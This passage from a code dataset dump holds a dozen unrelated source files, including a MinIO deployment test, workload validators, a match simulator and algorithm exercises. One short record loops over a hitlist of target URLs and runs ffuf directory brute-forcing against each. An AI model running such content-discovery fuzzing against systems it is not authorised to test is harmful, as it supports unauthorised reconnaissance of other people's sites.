voiceActivity\n","sub_path":"speechLibrary/featureModule.py","file_name":"featureModule.py","file_ext":"py","file_size_in_byte":19763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"108663407","text":"#ESTRUTURAS SIMPLES E COMPOSTAS\n\n#COMANDO CONDICIONAL IF (ESTRUTURAS SIMPLES E COMPOSTAS) -- PYTHON\n\n'''temperatura = float(input('Temperatura do ambiente? '))\n\n\nif temperatura > 25:\n print('Ambiente quente, ajustando ar-condicionado para clima de verao')\n AR_CONDICIONADO(VERAO)\nelse:\n print('Anbiente frio, ajustando ar-condicionado para clima e inverno')\n AR_CONDICIONADO(INVERNO)\nprint('Ligando ar-condicionado')\nAR_CONDICIONADO(ON)'''\n\n\n\n#O PLANO DIRETOR DE DESENVOLVIMENTO URBANO DE UMA CIDADE DETERMINA QUAL É O PRECENTUAL DE\n# ÁREA MAXIMO DESTINADO PARA A GARAGEM EM RELAÇÃO À ÁREA TOTAL DO TERRENO DA CASA DEPENDENDO\n# DA LOCALIZAÇÃO DESSE TERRENO NA CIADE:\n\n# Para a zona norte da cidade , o percentual máxiom é de 25%.\n# Para as zonas leste e oeste da cidade, menos povoada, o percentual máximo é de 30%.\n# Para a zona sul, menos povoada, o percentual máximo é de 40%.\n\n#UMA EMPRESA DE ARQUITETURA ESTA COM VARIOS CONTRATOS E NECESSITA CALCULAR RAPIDAMENTE ESSE\n# PERCENTUAL, ANTES DE INICIAR OS PROJETOS. FAÇA UM PROGRAMA QUE RECEBE AS MEDIDAS DO TERRENO\n# E DA GARAGEM E A ZONA ONDE ESTARÁ LOCALIZADO O IMOVEL, CALCULA O PERCENTAL DE OCUPAÇÃO DA\n# ÁREA DA GARAGEM EM RELAÇÃO AO TERRENO E EMITE MENSAGEM SOBRE O ATENDIMENTO AS REGRAS DE\n# OCUPAÇÃO CONGORME O PLANO DERETOR.\n\n\nmed_L_terreno = float(input('Qual a medida da largura do terreno em metros? '))\nmed_P_terreno = float(input('Qual a medida da profundidade do terreno em metros? '))\narea_T = med_P_terreno * med_L_terreno\nprint('A área do terreno é igual a {} metros quadrados.'.format(area_T))\nmed_L_garagem = float(input('Qual a medida da largura da garagem? '))\nmed_P_garagem = float(input('Qual a medida da profudidade da garagem? '))\narea_G = med_L_garagem * med_P_garagem\nprint('A área da garagem é igual a {} metros quadrados'.format(area_G))\nzona = str(input('Em qual zona se encontra: Sul = S Norte = N Leste = L Oeste = W: '))\nprint('Imovel localizado na zona {} .'.format(zona))\n\npercentual_de_ocupação = ((area_G)/(area_T)) * 100\n\nif zona == 'S' and percentual_de_ocupação <= 25:\n print('Sua area de ocupação é de {}% e está dentro das normas do plano diretor.'.format(percentual_de_ocupação))\nelif zona == 'L' or zona == 'w' and percentual_de_ocupação <= 30:\n print('Sua area de ocupação é de {}% e está dentro das normas do plano diretor.'.format(percentual_de_ocupação))\nelif zona == 'N' and percentual_de_ocupação <=40:\n print('Sua area de ocupação é de {}% e está dentro das normas do plano diretor.'.format(percentual_de_ocupação))\nelse:\n print('Revisar medidas. Projeto não atende norma de zoneamento do plano diretor')\n\nN1 = 8\nN2 = 7.5\nN3 = 8\nM_A = (N1+N2+N3)/3\nprint(M_A)\n\n''\n\n\n\n\n\n\n\n\n\n","sub_path":"Comando_if.py","file_name":"Comando_if.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"1186911","text":"from jumpscale.loader import j\nfrom time import sleep\nimport random\nimport uuid\nimport os\nimport random\nimport math\n\nzos = j.sals.zos\n\nFREEFARM_ID = 71\nMAZR3A_ID = 13619\nDATA_NODES = 7\nPARITY_NODES = 3\nTO_KILL = 3\nACCESS_KEY = \"AKIAIOSFODNN7EXAMPLE\"\nSECRET_KEY = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\nPASSWORD = \"supersecurepassowrd\"\nnetwork_name = str(uuid.uuid4())\nprint(f\"network name: {network_name}\")\nBAD_NODES = set([])\nUP_FOR = 60 * 20 # number of seconds\n\n\ndef wait_site_up(url):\n up = False\n while not up:\n try:\n code = j.tools.http.get(url, timeout=1).status_code\n up = code == 200\n except Exception:\n pass\n sleep(1)\n\n\ndef wait_site_down(url):\n down = False\n while not down:\n try:\n code = j.tools.http.get(url, timeout=1).status_code\n down = code != 200\n except Exception:\n down = True\n sleep(1)\n\n\ndef remove_bad_nodes(nodes):\n return list(filter(lambda x: x.node_id not in BAD_NODES, nodes))\n\n\ndef wait_workload(wid):\n workload = zos.workloads.get(wid)\n while not workload.info.result.workload_id:\n sleep(1)\n workload = zos.workloads.get(wid)\n\n\ndef wait_pools(pools):\n for pool in pools:\n while pool.cus == 0:\n pool = get_pool(pool.pool_id)\n sleep(1)\n\n\ndef wait_workloads(wids):\n for wid in wids:\n wait_workload(wid)\n\n\ndef create_pool(cus=100, sus=100, farm=\"freefarm\", wait=True):\n cus = math.ceil(cus)\n sus = math.ceil(sus)\n payment_detail = zos.pools.create(cu=cus, su=sus, farm=farm, currencies=[\"TFT\"])\n wallet = j.clients.stellar.get(\"wallet\")\n zos.billing.payout_farmers(wallet, payment_detail)\n pool = get_pool(payment_detail.reservation_id)\n if wait:\n wait_pools([pool])\n return pool\n\n\ndef get_pool(pid):\n return zos.pools.get(pid)\n\n\ndef create_zdb_pools(nodes):\n pools = []\n for node in nodes:\n if node.farm_id == FREEFARM_ID:\n pools.append(create_pool(10, UP_FOR * 0.0416, \"freefarm\", wait=False))\n else:\n pools.append(create_pool(10, UP_FOR * 0.0416, \"ThreeFold_Mazraa\", wait=False))\n wait_pools(pools)\n return pools\n\n\ndef create_network(network_name, pool, farm_id):\n ip_range = \"172.19.0.0/16\"\n network = zos.network.create(ip_range, network_name)\n nodes = zos.nodes_finder.nodes_search(farm_id)\n access_node = list(filter(zos.nodes_finder.filter_public_ip4, nodes))[0]\n zos.network.add_node(network, access_node.node_id, \"172.19.1.0/24\", pool.pool_id)\n wg_quick = zos.network.add_access(network, access_node.node_id, \"172.19.2.0/24\", ipv4=True)\n\n for workload in network.network_resources:\n wid = zos.workloads.deploy(workload)\n workload = zos.workloads.get(wid)\n while not workload.info.result.workload_id:\n sleep(1)\n workload = zos.workloads.get(wid)\n return network, wg_quick\n\n\ndef add_node_to_network(network, node_id, pool, iprange):\n zos.network.add_node(network, node_id, iprange, pool.pool_id)\n for workload in network.network_resources:\n wid = zos.workloads.deploy(workload)\n workload = zos.workloads.get(wid)\n while not workload.info.result.workload_id:\n sleep(1)\n workload = zos.workloads.get(wid)\n\n\ndef deploy_zdb(node, pool):\n w_zdb = zos.zdb.create(\n node_id=node.node_id,\n size=3,\n mode=0, # seq\n password=PASSWORD,\n pool_id=pool.pool_id,\n disk_type=1, # SSD=1, HDD=0\n public=False,\n )\n id = zos.workloads.deploy(w_zdb)\n result_workload = zos.workloads.get(id)\n return result_workload\n\n\ndef deploy_zdbs(nodes, pools):\n results = []\n for i, node in enumerate(nodes):\n results.append(deploy_zdb(node, pools[i]))\n return results\n\n\ndef deploy_volume(node_id, pool):\n w_volume = zos.volume.create(node_id, pool.pool_id, size=5, type=\"SSD\")\n return zos.workloads.deploy(w_volume)\n\n\ndef get_namespace_config(wids):\n namespace_config = []\n for result in wids:\n workload = zos.workloads.get(result.id)\n data = j.data.serializers.json.loads(workload.info.result.data_json)\n if data.get(\"IP\"):\n ip = data[\"IP\"]\n elif data.get(\"IPs\"):\n ip = data[\"IPs\"][0]\n else:\n raise j.exceptions.RuntimeError(\"missing IP field in the 0-DB result\")\n cfg = f\"{data['Namespace']}:{PASSWORD}@[{ip}]:{data['Port']}\"\n namespace_config.append(cfg)\n return namespace_config\n\n\ndef deploy_master_minio(node_id, pool, network_name, namespace_config, tlog_node_namespace, ip_addr):\n secret_env = {\n \"SHARDS\": zos.container.encrypt_secret(node_id, \",\".join(namespace_config)),\n \"SECRET_KEY\": zos.container.encrypt_secret(node_id, SECRET_KEY),\n \"TLOG\": zos.container.encrypt_secret(node_id, tlog_node_namespace),\n }\n\n # Make sure to adjust the node_id and network name to the appropriate in copy / paste mode :-)\n minio_container = zos.container.create(\n node_id=node_id,\n network_name=network_name,\n ip_address=ip_addr,\n flist=\"https://hub.grid.tf/tf-official-apps/minio:latest.flist\",\n capacity_pool_id=pool.pool_id,\n interactive=False,\n entrypoint=\"\",\n cpu=2,\n memory=2048,\n env={\n \"DATA\": str(DATA_NODES),\n \"PARITY\": str(PARITY_NODES),\n \"ACCESS_KEY\": ACCESS_KEY,\n \"SSH_KEY\": j.sals.fs.read_file(os.path.expanduser(\"~/.ssh/id_rsa.pub\")), # OPTIONAL to provide ssh access\n \"MINIO_PROMETHEUS_AUTH_TYPE\": \"public\",\n },\n secret_env=secret_env,\n )\n\n wid = zos.workloads.deploy(minio_container)\n return wid, minio_container\n\n\ndef deploy_backup_minio(node_id, pool, network_name, namespace_config, tlog_node_namespace, ip_addr):\n secret_env = {\n \"SHARDS\": zos.container.encrypt_secret(node_id, \",\".join(namespace_config)),\n \"SECRET_KEY\": zos.container.encrypt_secret(node_id, SECRET_KEY),\n \"MASTER\": zos.container.encrypt_secret(node_id, tlog_node_namespace),\n }\n\n # Make sure to adjust the node_id and network name to the appropriate in copy / paste mode :-)\n minio_container = zos.container.create(\n node_id=node_id,\n network_name=network_name,\n ip_address=ip_addr,\n flist=\"https://hub.grid.tf/tf-official-apps/minio:latest.flist\",\n capacity_pool_id=pool.pool_id,\n interactive=False,\n entrypoint=\"\",\n cpu=2,\n memory=2048,\n env={\n \"DATA\": str(DATA_NODES),\n \"PARITY\": str(PARITY_NODES),\n \"ACCESS_KEY\": ACCESS_KEY,\n \"SSH_KEY\": j.sals.fs.read_file(os.path.expanduser(\"~/.ssh/id_rsa.pub\")), # OPTIONAL to provide ssh access\n \"MINIO_PROMETHEUS_AUTH_TYPE\": \"public\",\n },\n secret_env=secret_env,\n )\n\n wid = zos.workloads.deploy(minio_container)\n return wid, minio_container\n\n\ndef attach_volume(minio_container, vol_wid):\n zos.volume.attach_existing(container=minio_container, volume_id=f\"{vol_wid}-1\", mount_point=\"/data\")\n\n\ndef pick_minio_nodes(nodes):\n if nodes[-1].farm_id == MAZR3A_ID:\n for node in reversed(nodes):\n if node.farm_id == FREEFARM_ID:\n return node, nodes[-1]\n return nodes[-1], nodes[-2]\n\n\nfreefarm_nodes = list(filter(j.sals.zos.nodes_finder.filter_is_up, j.sals.zos.nodes_finder.nodes_search(FREEFARM_ID)))\nmazr3a_nodes = list(filter(j.sals.zos.nodes_finder.filter_is_up, j.sals.zos.nodes_finder.nodes_search(MAZR3A_ID)))\n\nnodes = freefarm_nodes + mazr3a_nodes\nrandom.shuffle(nodes)\nnodes = remove_bad_nodes(nodes)\nminio_master_node, minio_backup_node = pick_minio_nodes(nodes)\n\n\nwhile len(nodes) < (DATA_NODES + PARITY_NODES + TO_KILL + 1):\n nodes.append(random.sample(nodes, 1)[0])\n\ntlog_node = nodes[(DATA_NODES + PARITY_NODES + TO_KILL)]\n\nzdb_later_nodes = nodes[DATA_NODES + PARITY_NODES : DATA_NODES + PARITY_NODES + TO_KILL]\nnodes = nodes[: (DATA_NODES + PARITY_NODES)]\nmaster_pool = (\n create_pool(UP_FOR * 0.25, UP_FOR * 0.043, \"freefarm\")\n if minio_master_node.farm_id == FREEFARM_ID\n else create_pool(UP_FOR * 0.25, UP_FOR * 0.043, \"ThreeFold_Mazraa\")\n)\n\nnetwork, wg_quick = create_network(network_name, master_pool, minio_master_node.farm_id)\nprint(wg_quick)\n\nbackup_pool = (\n create_pool(UP_FOR * 0.25, UP_FOR * 0.043, \"freefarm\")\n if minio_backup_node.farm_id == FREEFARM_ID\n else create_pool(UP_FOR * 0.25, UP_FOR * 0.043, \"ThreeFold_Mazraa\")\n)\ntlog_pool = (\n create_pool(10, UP_FOR * 0.0416, \"freefarm\")\n if tlog_node.farm_id == FREEFARM_ID\n else create_pool(10, UP_FOR * 0.0416, \"ThreeFold_Mazraa\")\n)\npools = create_zdb_pools(nodes)\n\n\nadd_node_to_network(network, minio_master_node.node_id, master_pool, \"172.19.3.0/24\")\nadd_node_to_network(network, minio_backup_node.node_id, backup_pool, \"172.19.4.0/24\")\nzdb_workloads = deploy_zdbs(nodes, pools)\ntlog_workload = deploy_zdb(tlog_node, tlog_pool)\nmaster_vol_id = deploy_volume(minio_master_node.node_id, master_pool)\nbackup_vol_id = deploy_volume(minio_backup_node.node_id, backup_pool)\nzdb_wids = [x.id for x in zdb_workloads]\nwait_workloads(zdb_wids)\nwait_workload(tlog_workload.id)\nwait_workload(master_vol_id)\nwait_workload(backup_vol_id)\nnamespace_config = get_namespace_config(zdb_workloads)\ntlog_namespace = get_namespace_config([tlog_workload])[0]\nmaster_ip_address = \"172.19.3.3\"\nbackup_ip_address = \"172.19.4.4\"\nmaster_wid, minio_master_container = deploy_master_minio(\n minio_master_node.node_id, master_pool, network_name, namespace_config, tlog_namespace, master_ip_address\n)\nbackup_wid, minio_backup_container = deploy_backup_minio(\n minio_backup_node.node_id, backup_pool, network_name, namespace_config, tlog_namespace, backup_ip_address\n)\nattach_volume(minio_master_container, master_vol_id)\nattach_volume(minio_backup_container, backup_vol_id)\n\n\nprint(\n f\"\"\"\nFinished successfully. After adding the network using\nthe wireguard config printed above, minio can be accessed on\nhttp://{master_ip_address}:9000\nSlave up on:\nhttp://{backup_ip_address}:9000\n\"\"\"\n)\n\n\ninput(\n \"\"\"Make sure that the master and slave are accessible and play around with s3fs and restic to make sure they behave as expected,\nmaybe add prometheus or grafana to ensure that there's no down time then press enter to continue to the second phase where redunduncy is checked\"\"\"\n)\n\nto_die = random.sample(range(0, 10), TO_KILL)\n\nzdb_new_pools = create_zdb_pools(zdb_later_nodes)\nzdb_new_workloads = deploy_zdbs(zdb_later_nodes, zdb_new_pools)\nzdb_new_wids = [x.id for x in zdb_new_workloads]\nwait_workloads(zdb_new_wids)\nnew_namespace_config = get_namespace_config(zdb_new_workloads)\n\nprint(\"Removing three backup storages\")\nfor i, idx in enumerate(to_die):\n zos.workloads.decomission(zdb_workloads[idx].id)\n namespace_config[idx] = new_namespace_config[i]\n\ninput(\"Removed, make sure that the system is still intact (read-only), then press enter\")\n\nprint(\"Removing master node\")\nzos.workloads.decomission(master_wid)\ninput(\"Removed the master check that the slave is still accessible and mountable (read only), then press enter\")\n\nprint(\n \"Removing the slave and redeploying a new master/slave nodes with newly created 3 zdb storages instead of the dead ones\"\n)\n\n\nzos.workloads.decomission(backup_wid)\nsleep(4 * 60)\nmaster_wid, minio_master_container = deploy_master_minio(\n minio_master_node.node_id, master_pool, network_name, namespace_config, tlog_namespace, master_ip_address\n)\nbackup_wid, minio_backup_container = deploy_backup_minio(\n minio_backup_node.node_id, backup_pool, network_name, namespace_config, tlog_namespace, backup_ip_address\n)\nattach_volume(minio_master_container, master_vol_id)\nattach_volume(minio_backup_container, backup_vol_id)\n\n\nprint(\"Recheck, the master/slave printed urls. All should be deployed successfullly\")\n","sub_path":"examplescripts/minio.py","file_name":"minio.py","file_ext":"py","file_size_in_byte":11938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"334784503","text":"\"\"\"\n_WMWorkloadTools_\n\nDefine some generic tools used by the StdSpecs and WMWorkload\nto validate arguments that modify a WMWorkload and/or WMTask.\n\nCreated on Jun 13, 2013\n\n@author: dballest\n\"\"\"\nimport json\n\nfrom WMCore.DataStructs.LumiList import LumiList\nfrom WMCore.WMException import WMException\nfrom WMCore.Services.DBS.DBS3Reader import DBS3Reader\n\nclass WMWorkloadToolsException(WMException):\n \"\"\"\n _WMWorkloadToolsException_\n\n Exception thrown by the utilities in this module\n \"\"\"\n pass\n\ndef makeLumiList(lumiDict):\n try:\n ll = LumiList(compactList = lumiDict)\n return ll.getCompactList()\n except:\n raise WMWorkloadToolsException(\"Could not parse LumiList\")\n\ndef makeList(stringList):\n \"\"\"\n _makeList_\n\n Make a python list out of a comma separated list of strings,\n throws a WMWorkloadToolsException if the input is not\n well formed. If the stringList is already of type list\n then it is return untouched\n \"\"\"\n if isinstance(stringList, list):\n return stringList\n if isinstance(stringList, basestring):\n toks = stringList.lstrip(' [').rstrip(' ]').split(',')\n if toks == ['']:\n return []\n return[str(tok.strip(' \\'\"')) for tok in toks]\n raise WMWorkloadToolsException\n\ndef strToBool(string):\n \"\"\"\n _strToBool_\n\n Convert the string to the matching boolean value:\n i.e. \"True\" to python True\n \"\"\"\n if string == False or string == True:\n return string\n # Should we make it more human-friendly (i.e. string in (\"Yes\", \"True\", \"T\")?\n elif string == \"True\":\n return True\n elif string == \"False\":\n return False\n else:\n raise WMWorkloadToolsException()\n \ndef checkDBSUrl(dbsUrl):\n if dbsUrl:\n try:\n DBS3Reader(dbsUrl).dbs.serverinfo()\n except:\n raise WMWorkloadToolsException(\"DBS is not responding: %s\" % dbsUrl)\n \n return True\n \ndef parsePileupConfig(mcPileup, dataPileup):\n \"\"\"\n _parsePileupConfig_\n\n If the pileup config is defined as MCPileup and DataPileup\n then make sure we get the usual dictionary as\n PileupConfig : {'mc' : '/mc/procds/tier', 'data': '/minbias/procds/tier'}\n \"\"\"\n pileUpConfig = {}\n if mcPileup is not None:\n pileUpConfig['mc'] = [mcPileup]\n if dataPileup is not None:\n pileUpConfig['data'] = [dataPileup]\n return pileUpConfig\n\ndef validateArguments(arguments, argumentDefinition):\n \"\"\"\n _validateArguments_\n\n Validate a set of arguments against and argument definition\n as defined in StdBase.getWorkloadArguments. It returns\n an error message if the validation went wrong,\n otherwise returns None\n \"\"\"\n for argument in argumentDefinition:\n optional = argumentDefinition[argument][\"optional\"]\n if not optional and argument not in arguments:\n return \"Argument %s is required.\" % argument\n elif optional and argument not in arguments:\n continue\n validNull = argumentDefinition[argument][\"null\"]\n if not validNull and arguments[argument] is None:\n return \"Argument %s can't be None\" % argument\n elif validNull and arguments[argument] is None:\n continue\n try:\n argType = argumentDefinition[argument][\"type\"]\n convertedArg = argType(arguments[argument])\n except Exception:\n return \"Argument %s type is incorrect in schema.\" % argument\n validateFunction = argumentDefinition[argument][\"validate\"]\n if validateFunction is not None:\n try:\n if not validateFunction(convertedArg):\n raise Exception\n except:\n # Some validation functions (e.g. Lexicon) will raise errors instead of returning False\n return \"Argument %s doesn't pass validation. %s\" % (argument, convertedArg)\n return\n","sub_path":"src/python/WMCore/WMSpec/WMWorkloadTools.py","file_name":"WMWorkloadTools.py","file_ext":"py","file_size_in_byte":3922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"568997330","text":"import random\n\n#Passes in two team ratings\n\n\"\"\"\ndifference_dictionary = {\n 1:53,\n 2:56,\n 3:59,\n 4:62,\n 5:65,\n 6:68,\n 7:71,\n 8:74,\n 9:77,\n 10:81,\n 11:84,\n 12:87,\n 13:90,\n 14:93,\n 15:96,\n 16:99,\n}\n\"\"\"\n\ndifference_dictionary = {\n 1:55,\n 2:60,\n 3:64,\n 4:68,\n 5:72,\n 6:77,\n 7:82,\n 8:87,\n 9:92,\n 10:97,\n 11:99,\n 12:99,\n 13:99,\n 14:99,\n 15:99,\n 16:99,\n}\n\ndef get_goal_difference(randomization_difference) :\n if randomization_difference > 80 :\n return random.randint(4, 5)\n if randomization_difference > 60 :\n return random.randint(3, 4)\n if randomization_difference > 40 :\n return random.randint(2, 3)\n if randomization_difference > 20 :\n return random.randint(1, 2)\n return random.randint(1, 2)\n \n\n\ndef match_sim(team1, team2, team1_name, team2_name) :\n randomized = random.randint(1, 100)\n if team1 > team2 :\n better_team, better_team_name, worse_team, worse_team_name = team1, team1_name, team2, team2_name\n elif team2 > team1 :\n better_team, better_team_name, worse_team, worse_team_name = team2, team2_name, team1, team1_name\n else :\n if randomized > 40 and randomized < 60 :\n return 'Draw', 0\n if randomized >= 60 :\n return team2_name, get_goal_difference(100-randomized) \n else :\n return team1_name, get_goal_difference(randomized)\n try :\n target = difference_dictionary[better_team-worse_team]\n draw_minimum, draw_maximum = target-10, target+10\n if randomized > draw_maximum :\n return worse_team_name, get_goal_difference(randomized-target)\n elif randomized >= draw_minimum and randomized <= draw_maximum :\n return 'Draw', 0\n return better_team_name, get_goal_difference(target-randomized) \n except :\n return better_team_name, random.randint(2, 5)\n \n \n\"\"\"\nteam1, team2, team1_name, team2_name = 75, 85, 'Burnley', 'Chelsea'\nteam1, team2, team1_name, team2_name = 78, 74, 'Brighton', 'Sheffield'\nteam1, team2, team1_name, team2_name = 90, 76, 'Barcelona', 'Newcastle'\nn = 0\nfor i in range(200) :\n r = match_sim(team1, team2, team1_name, team2_name)\n if r[0] == 'Newcastle' :\n n += 1\n\nprint(n)\n\"\"\"\n \n","sub_path":"match_sim_calculator.py","file_name":"match_sim_calculator.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"186770175","text":"# -*- coding: utf-8 -*-\nimport Globals\nfrom lib.flask import Blueprint, render_template, abort, request, jsonify\nfrom jinja2 import TemplateNotFound\nfrom tools.LogManager import LogManager\n\ntestPage = Blueprint('test_page', __name__, template_folder='templates')\n\n@testPage.route('/config/', methods=['GET', 'POST'])\ndef show():\n\ttry:\n\t\thost_group = request.form['host_group']\n\t\thost = request.form['host'] \n\t\tinfo = Globals.cluster[host_group]['hosts'][host]\n\t\treturn jsonify(info)\n\texcept TemplateNotFound:\n\t\tabort(404)\n","sub_path":"blueprint/testPage.py","file_name":"testPage.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"309721609","text":"import subprocess\n\n# process = subprocess.Popen(\n# \"git config credential.helper store\", stdout=subprocess.PIPE, shell=True)\n\ncmds = [\n \"git add .\",\n \"git commit -m \",\n \"git push\"\n]\nprint(\"Enter a commit message or $ for manual git\")\ncommitMessage = \"'\" + raw_input().strip() + \"'\"\nif commitMessage == \"'$'\":\n print(\"Manual Git selected\")\nelse:\n cmds[1] += \"_\".join(commitMessage.split())\n for cmd in cmds:\n query = cmd.split()\n process = subprocess.Popen(query, stdout=subprocess.PIPE)\n print(process.communicate()[0])\n\nprint('All done!')\n","sub_path":"gitz.py","file_name":"gitz.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"431197393","text":"class Solution:\n def maxPoints(self, points: List[List[int]]) -> int:\n res = 0\n n = len(points)\n for i in range(n):\n d = defaultdict(int)\n for j in range(n):\n if i == j:\n continue\n \n slope = float('inf')\n if points[i][0] != points[j][0]:\n slope = (points[i][1] - points[j][1]) / (points[i][0] - points[j][0])\n d[slope] += 1\n if d:\n res = max(res, max(d.values()) + 1)\n else:\n res = max(res, 1)\n return res","sub_path":"149_MaxPointsOnALine.py","file_name":"149_MaxPointsOnALine.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"401840630","text":"#!/usr/bin/python\n# encoding: utf-8\n\n## Tatt fra https://github.com/eiriks/samstemmer/blob/master/fylkesperspektiv/models.py\n\nfrom nltk.tokenize import RegexpTokenizer, sent_tokenize\n#from nltk import *\n\nclass Lix():\n \"\"\"\n LIX pr person basert på den teksten vi finner\n - http://sv.wikipedia.org/wiki/LIX\n - http://www.sprakrad.no/nb-NO/Toppmeny/Publikasjoner/Spraaknytt/Arkivet/2005/Spraaknytt_1-2_2005/Avisspraak/\n < 30 Mycket lättläst, barnböcker\n 30 - 40 Lättläst, skönlitteratur, populärtidningar\n 40 - 50 Medelsvår, normal tidningstext\n 50 - 60 Svår, normalt värde för officiella texter\n > 60 Mycket svår, byråkratsvenska\n\n \"\"\"\n def __init__(self, text):\n self.text = text\n # perhaps we should centralize tokenization?\n # I'll use this temporarily (Eirik)\n self.tokenizer = RegexpTokenizer('(?u)\\W+|\\$[\\d\\.]+|\\S+')\n self.special_chars = ['.', ',', '!', '?']\n\n def get_lix_score(self):\n orda = self.analyzeText(self.text) #print orda\n analyzedVars = orda #.analyzedVars #print analyzedVars\n score = 0.0\n longwords = 0.0\n for word in analyzedVars['words']:\n if len(word) >= 7:\n longwords += 1.0\n score = analyzedVars['wordCount'] / analyzedVars['sentenceCount'] + float(100 * longwords) / analyzedVars['wordCount']\n return score\n\n def analyzeText(self, text=''):\n if text != '':\n words = self.getWords(self.text)\n wordCount = len(words)\n sentenceCount = len(self.getSentences(self.text))\n \n #print \"%s setninger\" % sentenceCount\n analyzedVars = {}\n analyzedVars['words'] = words\n analyzedVars['wordCount'] = float(wordCount)\n analyzedVars['sentenceCount'] = float(sentenceCount)\n return analyzedVars\n\n def getWords(self, text=''):\n words = [] #print type(text) # should be unicode \n words = self.tokenizer.tokenize(text)\n #print len(words)\n filtered_words = []\n for word in words:\n if word in self.special_chars or word == \" \":\n pass\n else:\n new_word = word.replace(\",\",\"\").replace(\".\",\"\")\n new_word = new_word.replace(\"!\",\"\").replace(\"?\",\"\")\n filtered_words.append(new_word)\n #print len(filtered_words)\n return filtered_words\n\n def getSentences(self, text=''):\n sentences = []\n sentences = sent_tokenize(text)\n return sentences\n\n","sub_path":"haakon/Lix.py","file_name":"Lix.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"95205863","text":"n = 32\nk = 500\ncur = (1 << (n - 1)) + 1\nprint('Case #1:')\nwhile k:\n\tdivisors = []\n\tfor i in range(2, 11):\n\t\tfor j in range(2, 200):\n\t\t\tif int(bin(cur)[2:], i) % j == 0:\n\t\t\t\tdivisors.append(j)\n\t\t\t\tbreak\n\tif len(divisors) == 9:\n\t\tk -= 1\n\t\tprint(bin(cur)[2:], end = ' ')\n\t\tfor j in divisors:\n\t\t\tprint(j, end = ' ')\n\t\tprint()\n\tif len(bin(cur)) - 2 > n:\n\t\tbreak\n\tcur += 2","sub_path":"codes/CodeJamCrawler/16_0_3/Croohand/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"585483514","text":"#!/usr/bin/env python\nimport os\n\nread_file = open('hitlist.txt','r')\n\nfor mostint in read_file:\n\t#debugger\n\t#print(\"ffuf -c -w /root/wordlist/Fuzzing/curated.txt --fc 403,404,302 -u \" + mostint.rstrip() + \"/FUZZ\")\n\tos.system(\"ffuf -c -w /root/wordlist/Fuzzing/curated.txt --fc 403,404,302 -u \" + mostint.rstrip() + \"/FUZZ > bigresults.log\")\nread_file.close()\n","sub_path":"SoLazyScriptz/toolk1t/3_Content-Discovery/Fuzzxor/fuzz_mostinteresting.py","file_name":"fuzz_mostinteresting.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"508417750","text":"import bisect\n\nclass Solution:\n def printLIS(self, nums, parent, best_i):\n if parent[best_i] != best_i:\n self.printLIS(nums, parent, parent[best_i])\n print(nums[best_i])\n\n\n def lengthOfLSTWithPrint(self, nums):\n best, best_i = 0, 0\n length = [1 for _ in range(len(nums))]\n parent = [i for i in range(len(nums))]\n for i in range(len(nums)):\n for j in range(i):\n if nums[i] > nums[j] and length[i] < length[j] + 1:\n length[i] = length[j] + 1\n parent[i] = j\n if length[i] > best:\n best, best_i = length[i], i\n\n self.printLIS(nums, parent, best_i)\n return best\n\n\n # Time: O(n**2), n = len(nums)\n # Space: O(n)\n def lengthOfLIS(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums:\n return 0\n\n length = [1 for _ in range(len(nums))]\n for i in range(len(nums)):\n for j in range(i):\n if nums[i] > nums[j] and length[i] < length[j] + 1:\n length[i] = length[j] + 1\n\n return max(length)\n\n\n # Time: O(nlogn), n = len(nums)\n # Space: O(n)\n def lengthOfLIS2(self, nums):\n lst = []\n for num in nums:\n i = bisect.bisect_left(lst, num)\n if i == len(lst):\n lst.append(num)\n else:\n lst[i] = num\n\n return len(lst)\n\n\n def lengthOfLIS2WithPrint(self, nums):\n lst = []\n pos = []\n for num in nums:\n i = bisect.bisect_left(lst, num)\n if i == len(lst):\n lst.append(num)\n else:\n lst[i] = num\n pos.append(i)\n\n i = len(lst)-1\n for p in reversed(range(len(lst))):\n while pos[i] != p:\n i -= 1\n print(nums[i])\n\n return len(lst)\n\nnums = [-7, 10, 9, 2, 3, 8, 8, 1, 4, 5, 1]\nprint(Solution().lengthOfLIS(nums))\nprint(Solution().lengthOfLIS2(nums))\nnums=[]\nprint(Solution().lengthOfLIS(nums))\nprint(Solution().lengthOfLIS2(nums))\n","sub_path":"300.Longest_Increasing_Subsequence.py","file_name":"300.Longest_Increasing_Subsequence.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"263575386","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\nimport unittest\nimport random\n\nimport CorrMedian as corr\nimport median\n\n\nclass TestMedian(unittest.TestCase):\n def test_median(self):\n a = [random.randint(1, 100) for _ in range(5)]\n b = [random.randint(1, 100) for _ in range(5)]\n c = [random.randint(1, 100) for _ in range(5)]\n ans = _(\"The median of {} is {} and you returned {}.\")\n for i in range(len(a)):\n stu_ans = median.median(a[i], b[i], c[i])\n corr_ans = corr.median(a[i], b[i], c[i])\n self.assertEqual(corr_ans, stu_ans, ans.format([a[i], b[i], c[i]], 